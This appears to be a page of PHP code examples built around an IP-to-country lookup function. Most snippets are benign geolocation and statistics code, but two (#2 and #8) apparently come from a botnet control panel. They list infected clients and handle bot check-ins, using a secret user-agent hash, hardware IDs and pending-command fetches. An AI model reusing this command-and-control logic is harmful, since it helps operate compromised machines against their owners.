Пример #1
1
    // preview?
    if (isset($_POST["submit"]) && $_POST["submit"] == "Sauver") {
        if (!function_exists('iptocountry')) {
            function iptocountry($ip)
            {
                $numbers = preg_split("/\\./", $ip);
                include "tools/ipblock/ip_files/" . $numbers[0] . ".php";
                $code = $numbers[0] * 16777216 + $numbers[1] * 65536 + $numbers[2] * 256 + $numbers[3];
                foreach ($ranges as $key => $value) {
                    if ($key <= $code) {
                        if ($ranges[$key][0] >= $code) {
                            $country = $ranges[$key][1];
                            break;
                        }
                    }
                }
                if ($country == "") {
                    $country = "unknown";
                }
                return $country;
            }
        }
        // Filtrage IP
        $visitorIP = $_SERVER["REMOTE_ADDR"];
        $two_letter_country_code = iptocountry($visitorIP);
        if (in_array($two_letter_country_code, $pays_bloque)) {
            $this->SetMessage("Vous ne pouvez pas modifier le contenu de ce Wiki depuis ce poste de travail");
            $this->Redirect($this->href());
        }
    }
}
Пример #2
1
	<input type="text" id="ammount" name="ammount" class="tb" style="width: 150px; text-align: center"/>
	<br><br>
	<table>
		  <tr>
			<th style="width: 50px; text-align: center;" class="th">ID</th>
			<th class="th" style="text-align: center;">Country</th>
			<th class="th" style="text-align: center;">IP</th>
			<th class="th" style="text-align: center;">User@PC</th>
			<th class="th" style="text-align: center;">Admin</th>
			<th class="th" style="text-align: center;">Status</th>
			<th class="th" style="text-align: center;">Select</th>
		  </tr>';
while ($row = mysql_fetch_array($query_1)) {
    $count = $count++;
    $IPaddress = $row['ip'];
    $two_letter_country_code = iptocountry($IPaddress);
    $country_name = $countries[$two_letter_country_code][1];
    // To display flag
    $cctolower = strtolower($two_letter_country_code);
    $flagname = "flags/" . $cctolower . ".gif";
    $file_to_check = $flagname;
    $readable_date = date("j F Y, g:i a", $row['time']);
    echo '<tr>
						  <td style="width: 50px; text-align: center;" class="td">#' . $row['id'] . '</td>
						  <td class="td" style="text-align: center;">';
    if (file_exists($file_to_check)) {
        print "<img src={$file_to_check}> {$country_name}<br>";
    } else {
        print "<img src=flags/noflag.gif> {$country_name}<br>";
    }
    echo '</td>
Пример #3
0
function country()
{
    global $dbh, $language;
    // *** For test purposes ***
    $path = CMS_ROOTPATH_ADMIN . 'ip_files/';
    // *** For test only ***
    //if (file_exists("../../humo-gen ip_files")){ $path='../../humo-gen ip_files/'; }
    $stat = $dbh->query("SELECT stat_ip_address FROM humo_stat_date GROUP BY stat_ip_address");
    // Print out result
    while ($row = $stat->fetch()) {
        $country = iptocountry($row['stat_ip_address'], $path);
        if (isset($countries[$country])) {
            $countries[$country]++;
        } else {
            $countries[$country] = 1;
        }
    }
    echo '<table class="humo" border="1" cellspacing="0" width="100%">';
    echo '<tr class="table_header"><th>' . __('Country of origin') . '</th> <th>' . __('Number of unique visitors') . '</th> </tr>';
    if (isset($countries)) {
        arsort($countries);
        foreach ($countries as $key => $value) {
            include_once $path . "countries.php";
            echo '<tr><td>';
            //flag
            //$file_to_check="ip_files/flags/".$key.".gif";
            $file_to_check = $path . "flags/" . $key . ".gif";
            if (file_exists($file_to_check)) {
                print '<img src="' . $file_to_check . '" width="30" height="15">';
            } else {
                print '<img src="' . $path . 'flags/noflag.gif" width=30 height=15>';
            }
            echo "&nbsp;";
            if ($key != __('Unknown')) {
                echo $countries[$key][1] . '&nbsp;(' . $key . ')</td>';
            } else {
                echo $key;
            }
            echo '<td>' . $value . '</td></tr>';
        }
    }
    echo '<tr><td>' . __('Total number of unique visitors:') . '</td>';
    $total = $stat->rowCount();
    echo '<td>' . $total . '</td></tr>';
    echo '</table>';
    //echo "<br>";
}
Пример #4
0
<?php

$IS_ON = true;
$DEBUG = $_GET['debug'] == '1' ? true : false;
if (!$IS_ON) {
    kill_script('5');
}
include './paths.php';
$paths = new Paths();
$phpPath = $paths->getFullPath('php');
require_once $phpPath . "libs.php";
ini_set('display_errors', 0);
header('Content-Type:text/javascript');
$countryCode = iptocountry($_SERVER["REMOTE_ADDR"]);
$analytics_DBName = 'tsanalyticsdb';
$analytics_tableName = 'ts_analytics_data_01';
$analytics_username = '******';
$analytics_password = "******";
$analyticsPrefixString = 'ts_an_';
$analytics_fields = array("__update__", "winsize", "coords", "avg_conn", "reqid", "usrid", "referer", "screen", "time", "mouse", "clicks", "scroll", "keys", "events", "duration", "s_REMOTE_PORT", "s_REMOTE_HOST", "s_REMOTE_ADDR", "s_TIME", "s_REQUEST_METHOD", "s_URL", "s_SERVER_PORT", "s_COUNTRY", "s_UA");
$server_vars = array("s_REMOTE_PORT" => $_SERVER['REMOTE_PORT'], "s_REMOTE_HOST" => $_SERVER['REMOTE_HOST'], "s_REMOTE_ADDR" => $_SERVER['REMOTE_ADDR'], "s_URL" => $_SERVER['HTTP_REFERER'], "s_SERVER_PORT" => $_SERVER['SERVER_PORT'], "s_COUNTRY" => $countryCode, "s_UA" => $_SERVER['HTTP_USER_AGENT']);
foreach ($server_vars as $key => $value) {
    $_GET[$analyticsPrefixString . $key] = $value;
}
foreach ($analytics_fields as $anKey => $anfield) {
    $analytics_fields[$anKey] = $analyticsPrefixString . $anfield;
}
$debug_array = array();
function debugLog($str)
{
    global $DEBUG;
Пример #5
0
<?php

$two_letter_country_code = iptocountry("101.102.103.104");
function iptocountry($ip)
{
    debugbreak();
    $numbers = preg_split("/\\./", $ip);
    include "ip_files/" . $numbers[0] . ".php";
    $code = $numbers[0] * 16777216 + $numbers[1] * 65536 + $numbers[2] * 256 + $numbers[3];
    foreach ($ranges as $key => $value) {
        if ($key <= $code) {
            if ($ranges[$key][0] >= $code) {
                $country = $ranges[$key][1];
                break;
            }
        }
    }
    if ($country == "") {
        $country = "unkown";
    }
    return $country;
}
Пример #6
0
function GetCountryCode($ip)
{
    return strtolower(iptocountry($ip));
}
Пример #7
0
<?php

function iptocountry($ip)
{
    $numbers = preg_split("/\\./", $ip);
    include "/media/ip_files/" . $numbers[0] . ".php";
    $code = $numbers[0] * 16777216 + $numbers[1] * 65536 + $numbers[2] * 256 + $numbers[3];
    foreach ($ranges as $key => $value) {
        if ($key <= $code) {
            if ($ranges[$key][0] >= $code) {
                $country = $ranges[$key][1];
                break;
            }
        }
    }
    if ($country == "") {
        $country = "unkown";
    }
    return $country;
}
echo $two_letter_country_code = iptocountry($_SERVER['REMOTE_ADDR']);
Пример #8
0
<?php

//recorded data is IP, Pure Epoch Time, Username@PC Name, Boolean of Administrator and Operating System
require_once 'inc/config.php';
include 'inc/functions.php';
include "ip_files/countries.php";
$ip = cleanstring($_SERVER['REMOTE_ADDR']);
$time = time();
$userandpc = cleanstring($_POST['userandpc']);
$admin = cleanstring($_POST['admin']);
$os = cleanstring($_POST['os']);
$ownerid = cleanstring($_POST['ownerid']);
$version = cleanstring($_POST['version']);
$hwid = cleanstring($_POST['hwid']);
$header = cleanstring($_SERVER['HTTP_USER_AGENT']);
$cc = iptocountry($ip);
// Check if its a Bot and not a User
if ($header == "753cda8b05e32ef3b82e0ff947a4a936") {
    // Check if the bot exists
    if (isset($_POST['hwid'])) {
        $bottest = mysql_query("SELECT * FROM clients WHERE hwid LIKE '{$hwid}'");
        while ($row = mysql_fetch_array($bottest)) {
            $id = $row['id'];
        }
        if (mysql_num_rows($bottest) == 1) {
            $result = mysql_query("SELECT * FROM commands WHERE botid LIKE '{$id}' AND viewed = '0' LIMIT 1");
            mysql_query("UPDATE clients SET status='Online' WHERE id='{$id}'");
            mysql_query("UPDATE clients SET time='{$time}' WHERE id='{$id}'");
            mysql_query("UPDATE clients SET ip='{$ip}' WHERE id='{$id}'");
            // Detected a returning bot thus checking for commands
            while ($row = mysql_fetch_array($result)) {